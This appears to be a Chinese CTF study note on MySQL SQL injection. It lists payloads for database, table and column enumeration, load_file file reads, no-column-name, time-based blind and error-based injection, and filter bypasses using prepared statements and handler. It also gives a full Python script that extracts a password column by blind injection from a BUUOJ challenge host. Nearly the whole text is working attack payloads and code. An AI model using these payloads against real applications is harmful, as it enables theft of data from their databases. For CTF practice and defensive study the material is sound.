sql包括: mysql、sqlite、MongoDB、Access等等,语法各有不同,在注入时若出现500错误,可能需要换个语言
以下是mysql注入
流程 无列名注入 时间盲注 报错注入
各种注入方式 各种绕过方式
流程:
判断闭合方式: a. 单引号 ‘ b. 单引号加括号 ‘) (比如有in(USER_INPUT)语句) c. 数字型:输入1/1,是否等于输入1
获取数据库名称:
1 1' ;show databases;或者select database () ;
获取表名
1 2 3 select group_concat(table_name) from information_schema.tables where table_schema=database() 或者 1';show tables from $DATABASE_NAME;
获取列名
1 2 3 select group_concat(column_name) from information_schema.columns where table_schema='<>' and table_name='<>' 或者 1';desc
获取数据
1 select group_concat($column1,$column2) from $databaseName.$tableName
如果需要查看文件内容,可以先看用户权限:
如果是root用户,可以使用load_file函数,需要完整路径f
1 select load_file("/var/www/html/flag.php")
无列名注入 当information_schema被ban时候可以采用mysql.innodb_table_stats
(还有两个)等库查到表名,接着使用无列名注入获取列名.然后获取数据
join using payload
1 2 3 select * from (select * from TABLE_NAME as a join TABLE_NAME as b) as cselect * from (select * from TABLE_NAME as a join TABLE_NAME as b using (COLUMN1_NAME)) as cselect * from (select * from TABLE_NAME as a join TABLE_NAME as b using (COLUMN1_NAME,COLUMN2_NAME)) as c
子查询 payload
1 select a.2 from (select 1 ,2 ,3 ,4 union select * from users) as a
order by 盲注 时间盲注 可能用到的函数有 mid, substr,
比如要猜测一个flag,共3个字符 对于第一个字符,遍历所有可能的取值,如果正确,则sleep,根据时间判断是否正确。
可以先判断如何闭合:
1 ' and select if(1=1,sleep(3),0);
如3s后响应则正确闭合.
然后判断数据库名称:
1 ' and select if(ascii(substr(database(),1,1))=109,sleep(3),0);
3s后响应则数据库的第一个字符是’m’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import requestsimport threadingfrom concurrent.futures import ThreadPoolExecutorfrom time import sleepfrom requests.adapters import HTTPAdapterfrom urllib3.util.retry import Retry session = requests.Session() retry_strategy = Retry( total=3 , backoff_factor=1 , status_forcelist=[429 ,500 , 502 , 503 , 504 ], ) adapter = HTTPAdapter(max_retries=retry_strategy) session.mount("http://" , adapter) session.mount("https://" , adapter) db_name = '' table_name = '' column_name = '' base_url = 'http://f8704f48-b61b-4370-97ec-2a5e2b4fe611.node5.buuoj.cn:81' select = 'select(group_concat(password))from(`F1naI1y`)' def check_status (response ): if (response.status_code == 429 ): print ('too many requests' ) sleep(1 ) return False elif (response.status_code != 200 ): print (response.text) exit(-1 ) return True def get_length (): global base_url print ("start get_length" ) for i in range (500 ): print ("trying length : " , i) poc = f"length(({select} ))={i} " url = base_url + f"/search.php?id=({poc} )" try : response = session.get(url=url) response.raise_for_status() except requests.exceptions.RequestException as e: print ("请求失败:" , e) i -= not check_status(response) if ('Click others' in response.text): print ('true' ) print (i) return idef get_data (start,end ): global base_url tmp = '' for i in range (start,end): mark = False for j in range (32 ,127 ): poc = f"ascii(substr(({select} ),{i} ,{i} ))={j} " url = base_url + f"/search.php?id=({poc} )" try : response = session.get(url=url) response.raise_for_status() except requests.exceptions.RequestException as e: print ("请求失败:" , e) j -= not check_status(response) if ('Click others' in response.text): tmp+=chr (j) print (tmp) mark = True response.close() if (not mark): print ('error occurred!!' ) return tmp begin = 0 for i in reversed (range (213 )): substr = f"(substr(({select} ),{i} ,4))" poc = f"not(locate('flag',{substr} ))" url = base_url + f"/search.php?id=({poc} )" try : response = session.get(url=url) response.raise_for_status() except requests.exceptions.RequestException as e: print ("请求失败:" , e) check_status(response) print ("i : " , i) if ('ERROR' in response.text): begin = i break flag = get_data(begin,214 )print (flag)
报错注入 打印出报错信息的情况下可用
updatexml(1,<注入语句>,1)
extractvalue(1,<注入语句>)
例如:
1 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
其中0x7e是让路径报错的关键, 且放在concat的第一个位置
报错最多32个字符,所以如果需要回显的字符数量超过32,则需要用到substr来分批次得到结果. 截取结果可用函数
substr(str, pos [, length])
left
right
TRIM([{BOTH|LEADING|TRAILING} [substr] FROM] str)
reverse(str)
insert(str, pos, end, replaced_str) # 把从pos开始到end结束的字符串替换成replaced_str
过滤
过滤等号 —> like
过滤空格 —> 括号
1 select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))
过滤or —> 用||,或者^(异或)
substr —> right
过滤select
用prepare
1 2 3 4 -1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt;
2. handler语句
1 2 3 4 1'; handler $TABLE_NAME open; handler $TABLE_NAME read first; ...read next;
3. 大小写绕过